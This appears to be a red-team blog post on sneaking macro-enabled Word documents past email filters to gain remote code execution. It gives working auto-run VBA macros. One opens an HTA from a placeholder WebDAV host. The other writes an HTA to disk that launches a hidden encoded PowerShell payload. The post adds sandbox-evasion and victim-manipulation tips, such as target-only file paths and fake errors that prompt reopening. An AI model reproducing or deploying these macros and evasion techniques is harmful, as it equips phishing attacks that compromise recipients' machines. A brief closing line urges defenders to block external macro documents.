First, a standard little trick taught to me by Ethan Robish (@ethanrobish) is to save the macro-enabled document in the older “Word 97-2003 Document” format. More recent versions of MS Office require the “docm” extension for macro-enabled documents but the older format allows for a less obvious “doc” extension.
Save Macro-Enabled Document as Word 97 “.doc” File
While this won’t be enough to get you by many of the filters, it is a good first step.
Brian Fehrman (@fullmetalcache) has posted some tricks in the past on the same subject of bypassing mail filters, but this hasn’t been working for me as of late. It appears that the inbound filters are disliking the methods used by PowerShell Empire, Metasploit, and even TrustedSec’s Unicorn payload generator to invoke the command shell from a macro.
As an alternative, I found the following macro to successfully bypass inbound email filters. This macro reads a HTA file from a remote webDav server.
Sub AutoOpen() Debugging End Sub Sub Document_Open() Debugging End Sub Public Function Debugging() As Variant Set shellApp = CreateObject("Shell.Application") shellApp.Open ("\\your.webdavserver.net\webdav\updater.hta") End Function
This code uses the “Shell.Application Open” method which is less scrutinized by inbound email filters than a direct attempt to invoke a command on the command line. To use the macro, replace the “your.webdavserver.net” text with the domain or IP address of your webDav server where you are hosting the HTA file. Depending on the target environment, using a domain name may be effective while using an IP address is not, or vice-versa. Try both. For information on setting up a webDav server, see this blog post.
The HTA file itself can be generated with a number of tools. An example using PowerShell Empire is given below. Save the output to a file with an “hta” extension.
Generating HTA Payload with PowerShell
In the event that the target has little to no internet connectivity with which to download the HTA file, you may have to write the HTA file to the disk on the target. However, some email filters run the macro payload in a sandbox environment and do not like it when a macro both writes a file to disk and subsequently reads it. You can usually get away with one or the other in the macro but not both. If you have direct access to the target, test this out by manually creating your payload on the target system and then emailing a macro to simply execute the existing payload. Your macro will likely make it through the inbound email filters. This brings up some interesting ideas about having a macro which executes a file if it already exists on disk, otherwise, it creates it and exits. This would require the macro to be run twice by the victim. This is not completely infeasible. If you have the macro show an error and close the document, the victim is likely to try to open it again.
This leads us to more creative ideas, what if the macro checked the time of day and would only execute the malicious payload after a certain day and time. The time could be set for ten minutes after the email is sent. The macro, in this case, would not exhibit malicious behavior when executed in the sandbox but would behave differently later. For the record, I tried this and failed recently but it is good food for thought and may be effective against other anti-malware solutions.
My final working solution, in this case where internet connectivity was restricted, was to write the file to a specific location that existed on my target but not in the sandbox environment. For example “c:\Users\croberts\”. Since this location does not exist in the sandbox environment, it does not get written to disk nor subsequently executed. However, on the target system, it works like a charm. The final macro is shown below.
Sub AutoOpen() Bhistest End Sub Sub Document_Open() Bhistest End Sub Public Function Bhistest() As Variant Dim Str As String Dim Str2 As String Str = "<html><head><script>var c= 'powershell.exe -NoP -sta -NonI -W Hidden -Enc " Str = Str + "put the rest of your big long encoded command here . . ." Str = Str + "… and continue it here, and so on, in order to not exceed the macro string line length limit" Str2 = "new ActiveXObject('WScript.Shell').Run(c,0);</script></head><body><script>self.close();</script></body></html>" Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.CreateTextFile("c:\users\croberts\final.hta", True) objFile.Write Str & vbCrLf objFile.Write Str2 objFile.Close Set shellApp = CreateObject("Shell.Application") shellApp.Open ("c:\users\croberts\final.hta") End Function
Remote code execution through an email phish has been demonstrated, even under some of the most restrictive environments.
Defenders, do you REALLY need to allow macro enabled document delivery from external sources? It’s risky business.